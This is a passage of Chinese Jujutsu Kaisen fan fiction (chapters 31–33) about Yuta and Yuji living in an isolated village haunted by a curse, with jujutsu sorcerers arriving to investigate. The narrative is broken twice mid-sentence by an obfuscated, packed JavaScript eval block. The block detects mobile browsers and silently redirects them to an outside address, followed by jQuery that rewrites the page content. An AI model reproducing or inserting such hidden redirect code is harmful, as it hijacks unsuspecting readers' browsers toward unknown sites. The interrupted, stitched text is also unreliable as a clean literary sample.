所以,他的黑眼圈真的有那么明显吗?
31. 第 31 章
又有一个孩子死去了。
乙骨忧太紧紧拉着虎杖悠仁,听从宫司的话留在了神社的社务所里,巫女们和其他神职人员也都聚集在这个屋子里。
与松下不同,这个孩子是在村落中的某条小巷里被发现的,据说尸体被开膛破肚、鲜血已经流干了。
正如流言蜚语一样,这里没有可以被隐瞒下来的秘密。
拄着拐杖的秃顶男人联合了其他的村民聚集在神社的门口,声势浩大地前来讨伐他们眼中的杀人凶手。
“我们明明什么都没做。”虎杖悠仁面无表情,社务所的窗户被彩色的纸从外面贴住,一角因为时间久远而留出了一块向外窥视的角落,他瞪着琥珀色的瞳孔向外望去,看着那群义愤填膺的村民。
“这是神明大人的惩罚,”巫女们收养的女孩双手合十,虔诚地念叨着什么,“这是不敬的代价。”
“......”虎杖悠仁猛地抬起头:“这世界上根本没有什么神!”
“悠仁!”乙骨忧太捂住他的嘴巴,在屋子里的视线聚集过来之前将挣扎的孩子拖到了角落里,不停地安抚他:“这样的话不要在这里说出来。”
女孩的瞳仁很小,偏偏还长了一双大眼睛,面积过大的眼白让她在用力睁开眼睛的时候显得有些可怕:“我看见了!这肯定是神的惩罚!祂亲自来惩罚不敬神之人!”
屋子里的人们瞬间哗然,巫女们将有些魔怔的女孩围在中间,可她的眼神始终停留在乙骨忧太的身上。
“我看见了,”她重复着这样的话,“我看见她了!就是因为她......!”
乙骨忧太拧起眉,甩开头不去看她。
被他固定在身后的虎杖悠仁轻声说:“会是咒灵吗?她说的绝对是咒灵。那家伙跑到村子里来了吗?”
“......”
乙骨忧太没有立刻回答他的话。
人声鼎沸的房子里,只有他们两个的角落却寂静得可怕。
虎杖悠仁觉得乙骨忧太黑色的眼睛很有威慑力,尤其是他不笑的时候,会让被那双眼睛盯上的人不自觉地退让。
乙骨忧太说道:“悠仁,难道你已经想起来了吗?”
虎杖悠仁看着他逆光的轮廓,完全不知道自己在胡说八道些什么:“诶?没有哦,因为忧太你和我说过的嘛,嗯......”
“我觉得应该就是它,”乙骨忧太转换了话题,“我们这些天没有去其他地方,但是连里香都没有反应,那肯定是它绕开了这附近。”
神游天外的大脑回到了虎杖悠仁身体里,他扯着嗓子回应道:“咒灵会有这么聪明的家伙吗?”
里香的存在会让大部分咒灵避开乙骨忧太,除了一些看起来脑子就不怎么好使的家伙,所以就算是在城市里的时候,乙骨忧太周围一定的范围内也是很干净的。
那更像是一种出于本能的退避,为了生存而下意识做出的选择。但是这只咒灵似乎有些不同。
既然有里香这样的咒灵存在,那肯定还会有其他能够拥有一定思考能力的家伙。伪装成“中美”模样的咒灵主动避开了他们,袭击了村子里其他的孩子。
“那......难道连松下也......?”
只是,松下的尸体很完整。
“忧太,”虎杖悠仁扯着他的袖子,困惑地问道,“我们该怎么办?”
他下意识地依赖着对方,哪怕他们都还只是孩子。
乙骨忧太也不知道该怎么办。在最需要大人给出答案的年纪,他们必须逼迫着自己独立思考这些复杂而难解的问题。
“那孩子说她见到了中美......”
“这怎么可能?!难道那个老头......?”
“进山的时候又不是他一个人,喂,难道说你们也撒谎了?”
“别血口喷人,我、我们虽然没过河,但看得很清楚!”
“......那谁在装神弄鬼?!”
宫司回到社务所的时候已经精疲力尽,男人被村民们折磨得不轻,回来还要应对巫女们和其他人的盘问。
“这件事你们不用管,”在人都走光之后,宫司盯着乙骨忧太说道,“......以前也有过这样的事情,不用担心,祂会清除敢在村子里游荡的秽物,很快就会结束了。”
真的吗?虎杖悠仁的疑问只是越来越深,因为宫司的话听起来就像是一个濒临崩溃的人通过自言自语来让自己保持清醒。可男人的精神又看不出崩塌的迹象,像往常一样打理着这个神社。
在给房间通风换气的时候,虎杖悠仁趴在窗口,感受着冷风拂过自己的脸。停在皮肤上的寒冷已经不像前段日子那样锋利,可依旧留下了阵阵刺痛。
他望着雪化尽后只剩灰白色枯枝的森林,双手撑着下巴。
动画片里的英雄似乎没有凡俗的烦恼,想要拯救世界只需要一群志同道合的伙伴以及一个拼命的自己,他们几乎仅凭这些就能够做到任何事。
院子里的菜棚在某一天深夜倒塌了,奇怪的是那晚既没有下雪也没有刮风,但撑起塑料膜的铁丝就是那样折断了,冷空气从撕出的空洞灌了进去,等虎杖悠仁察觉到的时候只见到了结满冰霜的枝叶。
偶尔他也会怀念在仙台、在乡下的生活。夏天只用想去哪里捉虫子,冬天只用想如何求爷爷给自己泡一杯热腾腾的奶茶。春天和秋天是最舒服的季节,他可以漫山遍野地疯跑,又或者偷偷带着胡萝卜去农场里喂马,看它们通人性似的摇头晃脑,发出好玩的咴咴声。
可人一旦需要自己撑起自己的生活,那些美好的时光就开始离他远去,每天都似乎有数不清的事情需要他来思考,小到今天应该吃什么、穿什么,大到今天有什么为了维持生活而必须完成的工作,亦或者一些不得不思考的事——比如咒灵和这个村子。
“时间差不多了,可以关窗户喽,悠仁!”乙骨忧太正在清理浴室,他从门前探出头来,门框旁的白墙上画着几道密集的刻线,代表着他们这几个月身高的变化。
虎杖悠仁答了一声,将窗户严丝合缝地关上了。推拉的时候就算是他也必须要多用一些力气才行,窗框边缘的胶皮发出幽怨的咯吱声。
“晚上还要去神社吗?中午的蛋糕可以留到我们回来,不过这样的话晚上就不能吃太多了。”乙骨忧太擦拭着镜子,和虎杖悠仁商量晚餐的事。
“......”虎杖悠仁不说话,只是围在他身边打转,乙骨忧太一看他这副模样就知道他在想什么。
“好吧,”他妥协了,“要加一个卤蛋吗?”
“要!我现在去烧热水!!”虎杖悠仁雀跃地跳了起来,跑出浴室准备起来。
除了蛋糕,便利店店主还带回来了很多箱各种口味的泡面。速食食品根本不需要考虑营养均衡,但是个在犯懒的时候应付肚子的绝佳选择。
调味粉包的吸引力居然盖过了那块蛋糕,但乙骨忧太觉得应该是蛋糕上的草莓糖浆太甜了,只要吃上一口就能猜到那肯定是廉价的人工合成物,有些甜到发腻,就算是资深甜食爱好者也绝不会喜欢那个味道。
虎杖悠仁埋头在泡面箱中挑选着自己喜欢的口味。
“忧太要吃什么味道的?来尝尝辛拉面吗?!”
一片红的包装已经说明了这个口味的威力,但乙骨忧太被虎杖悠仁忽悠着点了头,他们说好一人一半,虎杖悠仁另外又拿了一个豚骨拉面味道的放在了桌子上。
当粉包被拆开、热水将辣椒粉的味道冲开之后,他们发现自己还是小看了辣椒的威力。虎杖悠仁躲开桌子,打了一个大大的喷嚏。
“......鼻子好痒,”他揉着鼻尖,这还是他第一次感受到如此有形的气味,就像有只看不见的手将辣椒捅进了他的鼻子里,“绝对会被辣到哭出来的吧?”
他不是不能吃辣,但也没有那么擅长,吃得多了会涕泪横流,那种时候就会被爷爷嘲笑“为什么哭了”。吸着鼻涕反驳他根本没有哭的时候很狼狈,但下次还是喜欢吃又热又辣的咖喱或者烤青椒之类的东西。
“不要勉强哦。”乙骨忧太将几本杂志拿过来压住泡面的盖子,和虎杖悠仁一起坐在被炉里等待面饼被泡软。卤蛋是便利店里的散装零食,作为配菜很受他们的欢迎。
“院子里最近总能看到小猫脚印喔。”虎杖悠仁说。
积雪还没完全消融的时候,那些可爱的梅花脚印就印在了干净的雪地上,原本那三个雪人中属于乙骨忧太的那一个头顶上也有猫咪站立过的痕迹。
“但是总看不见它们的身影,”下雪的那段时间每天早上推开门看雪地上多了哪些脚印也是一种乐趣,“连猫叫都很少听到。”
虎杖悠仁觉得它们可能只是路过。除过杂草的院子在冬天就显得有些荒凉,它们没有理由在这里停留。他们这里也没有猫可以捕获的猎物,除非它们愿意蹲守一个傻到落在干巴巴的院子里的小鸟。
鸟儿们倒是更加自由一些,无论飞去哪里都能找到可以吃的虫子和草籽。
虎杖悠仁在空中嗅了嗅:“已经差不多了吧?”
乙骨忧太抬起杂志,掀起一个角看了一眼:“再等一会儿吧。面条可能还有些硬,你喜欢吃软一些的吧?”
虎杖悠仁失望地趴回桌子上,刚才从那一个小口中散发出来的气味太过诱人,他已经能够感觉到自己正在不自觉地吞咽着口水:“只要是面类我都很喜欢的啦。”
二手钟表时常会出现跑慢的情况,每隔一段时间都要手动调整它的指针。这大概是乙骨忧太最后悔买来的东西,他们又没有另外的可以参照时间的东西,所以每次都只能拖着表盘去便利店里和老板的电子表对时间。
在指针又转动两圈之后,乙骨忧太终于拍板拿开了所有的杂志,底层的书页已经被烫得热乎乎的了。
“忧太要先吃辣的吗?”在得到摇头的回应之后,虎杖悠仁捧住了像是打翻了红色颜料一样的辛拉面桶,仅仅是用筷子搅动就能感受到扑面而来的辣椒的气味。他悄悄吞咽了一下,乙骨忧太已经将蛋糕摆了上来。
被辣到了的话还能赶快用蛋糕以毒攻毒、缓解一下舌头上传来的痛觉。
结果最后两个人都被辣得直流眼泪,一边嘶哈嘶哈地呼气一边分吃完了这一桶辛拉面。
虎杖悠仁感觉自己的身体都像是烧起来了一样,甚至被辣到热出汗来。
怪不得电视剧里的人在假哭的时候都会选择在手帕或掌心涂抹辣椒油或者洋葱汁,这样流下的眼泪是生理性的、不可控的,擦干后也不会让眼眶变得明显红肿起来,不过吸鼻子的声音很容易会让人误认为是在哭泣。
“已经完全感觉不到我的舌头了!”虎杖悠仁大着舌头说,发音含含糊糊的,乙骨忧太和他一样。
将剩下的蛋糕分吃之后,辣椒带来的症状才稍微有些缓解,让他们能够继续解决豚骨拉面。
不过经过辛拉面洗礼的舌头已经变得像猫舌一样敏感,接触到还没有完全冷却下来的拉面时还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378170|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让虎杖悠仁不由自主地惊呼了起来。
“希望泡面有只有一点点点点辣的口味!要是再有一点绿色的配菜就好了,我还想要大块的叉烧!要是再有两片海苔......”
“只有拉面店里才会卖这种面的吧?乌冬?”
“乌冬面也超好吃!”
“悠仁是大馋鬼吗?!满脑子都是吃的哇!”
虎杖悠仁揉揉肚子,心满意足地说:“以后想吃什么就吃什么!”
“啊,那我们约好了。”乙骨忧太和他拉勾,立下了约定。
粉发的孩子高举双手欢呼道:“想去哪就去哪!”
“嗯,想去哪就去哪。”
晶亮的琥珀与夜一样深邃的黑交织在一起,乙骨忧太只能看到虎杖悠仁灿烂的笑容,听到他郑重地说:“那我们约好喽!绝对不能反悔!”
于是他也笑着回应了。
等到积雪彻底融化,靠近岸边的冰面变薄,如果用力将石头丢下去的话就能听到清脆的裂响,砸出一个巨大的冰洞。
有一只懵懵懂懂的、绒毛还没褪去的小鸭子从还没有复苏的水草丛中摇摇摆摆地走出来。
“野生的?”
乙骨忧太侧身看了过去:“好小。”
虎杖悠仁蹲在河堤上:“它的父母把它照顾得很好。”
这种季节本不应该有新生命的诞生,寒冷和饥饿让成年野鸭自身难保,可这只小鸭的父母却将出生在错误季节的它成功孵化,等到了春天渐近的脚步。
他撕下了一小块面包扔了过去,却将那个幼小的生命吓跑了。
那个咒灵非常狡猾。它游荡在村子里,小心翼翼地避开了乙骨忧太和虎杖悠仁外出活动的白天,专门在夜里活动。据说有不少人都看到了“死而复生”的女孩,她还穿着生前那套华贵的衣服,独自走在街道上。
她就像属于冬天的幽灵,如阴云一般久久不散。
乙骨忧太和虎杖悠仁终究没有改变他们的生活轨迹。没有特意去寻找过咒灵,也尽量避开了人群。他们能够感受到从村民们眼中射出的目光变得越发不善,虎杖悠仁只愈来愈觉得这群人脑子有什么毛病。
在春天到来之前,又有一个精神不正常的流浪汉和一个独居的老人被发现冻死在了无人的角落。
大概就是在这个时候,村子里的人全都变了一副面孔。和去年山王祭开始前的那两天时似的,只要是摆放着石像的地方都能看见有人跪在前面参拜,孩子们拿着白色的布、提着小水桶挨家挨户地清洗着石像。
虎杖悠仁觉得这个村子的信仰是个很任性的东西,大人们需要的时候就将它摆到台面上来,不需要的时候就完全将其抛在一旁。
这天神社里来了一个穿得西装革履的中年男人。
他的胳膊里夹着一份公文包,看起来就像是在会社里兢兢业业上班的工薪族。他敲开了社务所的门,弯下腰和虎杖悠仁打招呼:“你好,请问宫司在吗?”
他说了一个名字,可虎杖悠仁并不认识。现任的宫司并不叫男人说的那个名字,神社里也没有叫这个的工作人员。
穿西装的人似乎也非常困扰,他几度打开手机确认着什么,在他决定拨出电话之前,宫司回到了社务所。
西装男说的名字属于前任宫司,怪不得虎杖悠仁他们不知道。后续的谈话在西装男和宫司之间单独进行,孩子们被“赶”了出去,左右无事,他们准备去河边看望野鸭一家。
靠近河边的时候已经能够听到潺潺水声,每当虎杖悠仁想要靠近的时候,总会引得乙骨忧太忧心忡忡。松下的事无形中又加深了他对河流的畏惧,初春的冰面和沼泽地中的草丛一样危险。
“忧太想要什么样的生日礼物?”
察觉到乙骨忧太的紧张,虎杖悠仁不再执着地向河岸边走,转而问起了即将到来的生日。马上就是三月份了,乙骨忧太和虎杖悠仁的生日都在万物复苏的春天。
这也是乙骨忧太最近特别困扰的事,因为他既不知道自己想要什么礼物,也不知道自己能送给虎杖悠仁什么东西。
这座村子太过贫瘠,不光是村外一望无际的田地,还有村落本身,和住在这里的人。
乙骨忧太想过拜托便利店店主在去进货的时候带上他们两个,他们只需要坐在车斗里就好,但被他回绝了,理由是不想承担责任。
如果能去城里的话,不管是好吃的还是好玩的,他们肯定能够度过比村子里有趣百倍的一天。
哪怕这样的机会只在这一天中能够实现,那也是最值得期待的事。
......以前他明明是想远离人群密集的城市的,在村子里住得久了反而想念起那里丰富多彩的生活。
“悠仁呢?你想要什么样的生日礼物?”
“那是我的秘密!”
“诶?!太狡猾了吧?”
“......其实是因为我也不知道啦。”虎杖悠仁泄了气似的垂下头,去年他和爷爷许愿要了什么礼物来着?一套在孩子们之间很有名的宝可梦卡牌?还是一个模型玩具?
现在的他脑子里装的全都是没办法即刻实现的梦想。
乙骨忧太挠了挠头:“这就很难办了啊。”
因为每日形影不离,他们没有办法背着对方偷偷准备礼物,最终乙骨忧太还是决定去再找便利店店主商量一下,带着他们去一趟城里——和去旧村一样,如果他们能够记住路线的话,他们就可以让里香帮助他们开拓更广阔的世界。
32. 第 32 章
西装男是开车来的。
他在神社的空房间里住了下来,他的车停在了村子外面的空地上,因为村子里的土路没办法让轿车顺利通过。
乙骨忧太和虎杖悠仁很少在白天见到西装男,他似乎白天会在村落里随意走动,听巫女们说他在挨个拜访见到过“中美”的人,包括中美和松下的家人,不出意外地遭到了冷落,还差点被秃顶男人打了出来。
这样大摇大摆的行为很快便引起了村民们的排斥,他们又一次愤怒地聚集在了神社的门口,偏偏这一次宫司去了旧村,神社里只剩下了巫女们和神职人员,以及乙骨忧太和虎杖悠仁这两个本就不受欢迎的孩子。
西装男正在和什么人通电话,他没有避开社务所里的人,从他的话中能够听出电话那头的人应该是他的前辈。
虎杖悠仁听到他提到了什么“残秽”、“信仰”、“二级”之类的词,在挂断电话后,西装男还试图外出和村民们说些什么,但巫女们将他拦了下来,不肯放他出去。
“有什么事,等宫司回来再说吧!请您不要试图和他们对话了,现在这个状况肯定是什么都听不进去的!”
“我明白了......唉,但是请尽量避免夜晚出行,如果可以的话,离开这里更安全一些。等到有空闲的......”
巫女们为难地看着他,说道:“您说的我们都知道,但离开这里实在是不可能的事。倒是您这边,宫司说您可以找到专业人士来处理......这究竟是什么意思?我们要等多久?如您所见,再这样下去大家根本没法安安稳稳地生活......”
“这也是没有办法的事,如果我能找到更多的证据,或者亲眼见到的话,问题就能够更快地被解决。可是你们也看到了,我那天差点被人打得头破血流......村里人实在不配合的话就只能等上两三个月了,我们的流程就是这样,我也没有办法。”
虎杖悠仁凑到乙骨忧太耳边:“他说‘专业人士’诶。”
只是,西装男口中的专业人士指的是比宫司更厉害的“驱魔师”,还是真的能够祓除咒灵的——虎杖悠仁不知道从事这种职业的人应当如何称呼——那类人?
村民们终究对神社的土地心存最后的敬畏,他们闹哄哄地在鸟居外的石阶下吵嚷了一段时间,在各家该去做饭的时候四下散去。西装男并不知道自己逃过了一劫,但是他停在村外的车子就没有他本人那么好运。
这里的人没怎么见过小轿车,却意外地擅长破坏它们,似乎这样作恶的本事是他们与生俱来的。
前前后后的轮胎全部都被人用尖锐的刀捅破了,玻璃毫无疑问被砸得粉碎,车内的饰品和一些用文件袋包裹的纸张被拿了出来。不少村民抱着自己家刚会跑的小孩,让他们钻到车里面去翻找有用的或者值钱的东西。
车身上被人用小刀划出了充满恶意的话语,西装男发现之后却什么都没说。
虎杖悠仁和乙骨忧太偷偷跟着他来到了村外,将他看着已经变得破破烂烂的车子发呆的模样纳入眼中。
虎杖悠仁侧头,将脸向乙骨忧太那边偏了偏,却没有挪开眼睛去看他:“你说他为什么一点也不觉得惊讶或者生气呢?”
他们看着西装男掏出手机,将这一地狼藉用手机拍了下来,随后开始笨拙地清理洒在座椅上的玻璃碎片。
“......”
乙骨忧太觉得他看起来像是已经习惯了。习惯于面对无事生非,习惯于面对无法理解的事。他已经放弃了为这些事情的发生寻找理由,既不好奇也不在意,解决现状才是他更应该做的事。
也许他明白为毫无理由的事寻找原因也于事无补,他不会做这种可笑的事来浪费自己的时间。
戴着手套将驾驶室中的玻璃清扫得差不多了之后,西装男坐上了座位。在关上已经没有窗户的车门前,他看见了两个孩子不知何时站在了车旁边。
粉头发的那个将手中的围巾递给了他,什么话也没说。
“......”他犹豫了几秒,随即伸手接了过来:“谢谢你们。和你们家里的大人说一声,晚上不要出门,离能够见到那个女孩的地方远一些。”
虎杖悠仁点了点头,问:“你们什么时候还会再来呢?”
西装男摇头,做了一个无能为力的耸肩:“这可说不好,也许两三个月,也许很快。”
来自“窗”的辅助监督发动了汽车,这是他第一次单独外出执行任务,因为总部人手太少而他又是一个没什么资历的新人,所以才被派发到了这样偏远的山村。不论是纸质还是电子地图上都找不到这个地方,他这一路不知道问了多少人才找到目的地,一想到现在居然还要开着已经和报废差不多的车重新开上那么久,大部分时间还要走山路,想想就觉得令人绝望。
他只是能够看到咒灵的普通人,这处山村是记录在案的定期寻访对象,但上一次记录的更新时间已经在十多年前,如果不是去年传闻中的六眼术师入学,为了挑选分配给他的任务,上头下令顺便将那些尘封的陈年资料好好清算了一番,恐怕有关这个山村的记录还会一直被压在无数落灰的文件下不见天日。
这里的人信奉着住在山中的“山神”,十多年前曾经有假想怨灵生成,他到神社里寻找的人就是当时在档案资料中留下了姓名的前任宫司。
如今十多年过去,看起来这里的人仍然保持着原始的信仰,再加上因为地理环境的原因几乎与世隔绝,有新的假想怨灵在这里诞生并不是多么令人意外的事。只是通过这几天的走访与观察,他怀疑那只咒灵还徘徊在它诞生的森林中,在这个冬天里死去的人有一些可能出自它之手,或许是太靠近森林而被攻击。至于另一些,很可能只是意外死亡,与咒灵的关系不大。
在传言有咒灵出没的小巷与街角,他只看到了微弱到快要消散殆尽的残秽,因为见不到尸体也没有看见咒灵的本体,所以只能如实报告之后再等总部的答复。
正如他和巫女们所说,能够见到本体的事件紧急程度会上升,按照现在咒术师们的忙碌程度,恐怕也得等上半个月到一个月。如果是现在的情况,需要等待的时间会成倍增长,也难说会不会被当作高专学生们的课外任务分发下去。
分配给学生们是最具有性价比的选择......对于总部来说。这里太远了,每一个拥有即战力的咒术师的时间都很宝贵,一来一回的话会浪费不少时间。让学生们来的话既可以锻炼他们的能力,而且也就无所谓在路上花费的时间。
“谢谢你们的围巾,赶快回家吧。”他叮嘱着眼前的两个孩子,他们的身上也带着一些残留的咒力气息,大概是偶然经过留有残秽的地方不小心蹭上去的吧?
望着拖拖拉拉的车子开远,这位造访村子的外乡来客也终于被赶走了。
直到再也看不见轿车的影子,虎杖悠仁转头说道:“他没看出来呢。”
乙骨忧太将自己的围巾分给虎杖悠仁一半,把手塞到了他的兜里,汲取着热乎乎的温度:“看来如果不把里香叫出来的话,没有人能透过影子看见她。”
他们默契地一起向西装男隐瞒了自己能够看到咒灵的事以及里香的存在。在村子里住了半年的时间,有一件事至少他们铭记于心:不可以将秘密分享给任何人。在这里,除了他们两个人之外,绝不会有第三个人能够称为秘密的共享者。
尤其是看起来能够联系到厉害的“驱魔师”的西装男,里香再怎么说也和咒灵太过相似,恐怕不管他们如何解释、如何为它作保证,也不会有人真的相信它和其他的咒灵不一样。
他们不信任任何其他人,准备等到西装男口中的“专业人士”到村子里之后再静观其变。
不是“很快”,也不是“两三个月”,而是整整六个月。直到酷暑重新降临到这个村子时,虎杖悠仁见到的第二个外乡来客终于姗姗来迟。
“你好!我是灰原雄!”
那天是个太阳很足的日子,昨天晚上因为太热导致虎杖悠仁没有睡好,在清扫参道的时候有些昏昏欲睡,所以偷偷扔下扫把独自跑到树荫下打盹。宫司找乙骨忧太去坐落在最后方的本殿,没有人跟在身边,虎杖悠仁打盹的时候脑袋一歪,在身子滑倒的时候因为失重感而被迫清醒了过来。
脖子上的项链随着他的动作从衣领里掉了出来。
这是乙骨忧太送给他的生日礼物。黑发的孩子跟着巫女们学了很久,用红色的绳子编成了一个项链,上面挂了一个用制作绘马的木材磨成的勾玉。乙骨忧太也有一个一模一样的,那是虎杖悠仁给他做的,不过串在手链上。
他们看着对方亲手制作送给自己的生日礼物,既然没有办法偷偷准备,那就只好光明正大的啦!虎杖悠仁超级喜欢这个项链,和祈本里香送给他的御守一样喜欢!
他将掉出衣领的项链塞回脖子里时,那个棕发的少年便意气风发地向他打了招呼。
外乡人。他第一个反应便是“这家伙是从外面来的吧”,随后思绪立即被拽回了半年前的那个冬天。难道这个人就是西装男口中的“专业人士”?
“我是虎杖悠仁。你从哪里来?来这里干什么呢?”
灰原雄不是一个人来的,还有另一个人和他一起坐车来到这个村子,那个人正在村外更远一些的地方等他。他说他来自东京,至于过来干什么......大概看虎杖悠仁还是个半大的孩子,所以灰原雄并没有将自己的来意和盘托出。
“你和我妹妹差不多大呢!你在神社里工作?是这里的见习神官吗?真了不起呐!”他上手揉了揉这个孩子的脑袋,剪得有些过短地头发在掌心里刺挠着。虽然脸上挂着明媚的笑容,但灰原雄的心里却没这么乐观。
这个叫作虎杖悠仁的孩子身上沾满了残秽。能够沾染上这种程度的咒力残渣的情况可不多见,这几乎是在明晃晃地告诉每一个看见他的咒术师:这孩子和咒灵同床共枕......但这怎么可能呢?所以只能是活跃在村子附近的二级咒灵越发靠近村子了。
灰原雄记得辅助监督最初的报告上写了疑似有村民因诅咒而死,但因为无法亲眼见到尸体,所以不能作为确定的证据提交报告。
嗯!他给自己打气,这可是他第一次被指名执行祓除二级咒灵的任务,如果能在七海建人过来之前单独完成的话,他肯定能够向夏油前辈更进一步了!他的同期在临走时叮嘱他“虽然只是二级咒灵,但毕竟没有同伴的支援,无论是侦查还是祓除都必须要小心谨慎才行”,灰原雄知道自己的同期只是因为过于成熟的行事作风才将自己的关心用这样别扭的形式说了出来,但在跃跃欲试的同时还是听从了七海建人的建议。
在正式祓除咒灵之前,还是先
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378171|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和这里的宫司了解一下情况好了。而且,据说这座村子的村民十分排外,如果需要在这里停留几天的话,只能试试能不能拜托宫司允许他们住在神社......希望辅助监督的车能够完好无损吧。
粉发的孩子甩了甩脑袋,并没有主动回答他的问题。就在灰原雄想要继续深入询问一些关于村子里发生的可疑事件时,虎杖悠仁透过他的身影看到了什么,眼睛一下子变得又亮又大,难掩开心。
他从坐着的地方起身,几乎是一路蹦跳着跑向远处:“你们聊完了?今天是拉面日!我们赶快回家吧!还得去取西瓜呢!”
灰原雄顺着他的身影看去,立刻被虎杖悠仁身旁的那个黑发孩子吸引走了全部的注意力。
那个孩子......绝对是个有“天赋”的孩子!他看起来不过五六岁大的样子,但身上的咒力却已经和五条前辈差不多了!
他们凑在一起亲密地说了什么,随后两个孩子的眼睛都望了过来。
“......要找宫司的话,他就在社务所。”乙骨忧太向棕发的少年指了社务所所在的方向。这个人在这么热的天气还穿着长袖长裤,真的不会觉得热吗?
“啊,请等一下,我......”灰原雄刚想拦住乙骨忧太,手机却在这时响了起来。他只得先查看不停震动着的手机,而两个孩子趁着这个时间迅速地从他眼前消失了。
打来电话的是辅助监督,他将车子停在了远离村子的地方,徒步进村来找灰原雄。见无法拦下乙骨忧太,灰原雄只能先行准备自己的任务,他和辅助监督说明了自己的位置,并在挂断电话后去社务所寻找宫司了。
“他肯定就是那个人说的‘专业人士’了吧?居然整整隔了六个月才过来诶。”
虎杖悠仁在这样的天气也没什么精力继续跑跑跳跳了,躲在宽大的帽檐下试图避开毒辣的太阳。乙骨忧太则敏锐地察觉到了“专业人士”和那个西装男的不同。
“他似乎能够看到里香。”
虎杖悠仁闻言瞪起眼睛,抬头看向乙骨忧太。
“不,应该说是‘感觉’?‘察觉’?他看我们的眼神不太一样。”乙骨忧太纠正着自己的说法。
“那......”
他们下到小溪边,轻车熟路地拨开水边丛生的高耸植物,在清凉的溪水中找到了早上放在这里的瓜果。
利用天然冰箱冷冻的瓜果冰冰凉凉的,虎杖悠仁擦掉表皮上的水珠,和乙骨忧太往家的方向走去。
“看看就知道了。”乙骨忧太这样说道。
一群鸭子跟在他们身后,左右摇晃着身子啪嗒啪嗒地从草丛中跑上了岸。
“走开啦,今天没带面包!”虎杖悠仁甩甩脚驱赶它们,但这群野鸭早就和他混得很熟,追着他们不远不近地跑着,根本没有害怕的意思。
乙骨忧太:“它们胖到我都害怕它们没办法在水里浮起来了......随时随地都能捉鱼吃,结果还是要跟着我们,悠仁你喂了它们太多面包啦!”
粉发孩子“嘿嘿”笑着说:“因为小鸭子真的很可爱,而且冬天它们很容易饿死嘛。”
等到他们走上河堤,野鸭们不知道什么时候消失在了草丛中。虎杖悠仁怀里的西瓜还在往下滴着水,将他胸前的衣物打湿了一小片。
小电风扇被放在桌子上摇着头,吹出来的风对驱散燥热起到的作用寥寥无几,可这已经是他们为数不多能够消暑的方式之一了。
“去冲澡,”乙骨忧太推他进浴室,“不许用冷水。”
“知道——”虎杖悠仁拉长声音回答道。
乙骨忧太在客厅里分切西瓜。淡红色的汁水瞬间溅了出来,在案板上慢慢推进、蔓延。山里的那个东西一直都很安静,仿佛那日乙骨忧太感受到的搏动只是他自己的心跳。伪装成“中美”的咒灵徘徊在村子北边和周边的森林里,几乎和他们家所在的方位是对角。
这块西瓜里黑色的籽不多,取而代之的是又瘪又软的白色瓜籽。
咒灵伤人没什么规律,它第一次接近村子的那段时间正好是严寒肆虐的隆冬,被它伤害的人和因为极端自然环境死去的人混在了一起。那之后有两三个月都没再有什么动静,消失得悄无声息。
有的时候虎杖悠仁会望着那边发呆,乙骨忧太问他在看什么的时候又摇头不肯说。
乙骨忧太没忍住,先咬掉了一块切西瓜时剩下的边边角角,汁水鲜甜,带着能把牙齿冰掉的凉意。
浴室里传来虎杖悠仁的大喊:“呜哇!!好大一只蜘蛛!!”
紧随其后的是劣质塑料拖鞋底拍打墙壁的声音。
神社里的灰原雄已经和辅助监督汇合,他们在社务所里见到了宫司,并向他说明了来意。
“需要我帮忙的事我很乐意配合,其他的事就请便吧。”宫司最近也比较清闲,就是旧村村长家催得紧,老是想让他再去给那两姐妹驱驱魔......男人觉得那群人有点神经过敏,他又不想在炎热的夏天跑来跑去,所以一直在找借口推脱。
村子里已经基本恢复正常,年初的那几个月他整日提心吊胆,如今这伙“咒术师”又赶在一个安稳的时间过来,恐怕也会无功而返。
宫司喝净杯中的清茶,看着灰原雄远去的背影兀自琢磨着什么。
这座村子只要保持现状就可以了。
33. 第 33 章
“......”灰原雄一边沿着村中的土路向前,一边听着电话那头传来的声音。
“有天赋的小鬼?嗯哼......”
“我应该怎么做呢,五条前辈?”
“你现在什么都做不了啊,我记得你去的那个地方还蛮远的吧?想要从那种穷乡僻壤走出来可不容易,等到他长到可以上学的年纪再考虑离开比较现实。到时候让辅助监督去那里试试看吧。”
灰原雄:“那么,我至少先和他们讲清楚......”
电话那头,前辈的声音懒懒散散地传来:“这种事情你自己考虑就好啦,真是的,最近大家都好忙,杰也整天见不到人,我还说约上歌姬他们一起......”
灰原雄听完了他的抱怨,和辅助监督商量了一下,决定先分头寻找一下咒灵留下的残秽。他去更有可能发现线索的北边,作战能力不强的辅助监督去村南巡视。
总之,先把咒灵解决掉。
第一天的搜寻没有任何结果。灰原雄只在寥寥几个角落里发现了还没有完全消散的残秽,但看上去已经是很久之前残留下来的了。他以超强的行动力绕着村子边缘搜寻了一圈,除了村南红色房屋附近有很明显的咒力痕迹——这应该是那个黑色头发的孩子留下来的——数个残秽的痕迹延伸向了北侧的森林。
“在森林里吗?”
现在看来只有这一个可能了。一般来说,咒灵不会离开诞生地附近。“窗”提供的情报上推测在这里形成的是假想怨灵,是由都市传说、有名的怪谈或者妖怪之类的人们会去假想的恐怖存在中诞生而来的,而这座村子里存在着山神信仰。尽管灰原雄并没有听说过对神明的信仰也会诞生咒灵,但他暂且只能往这个方向去思考。
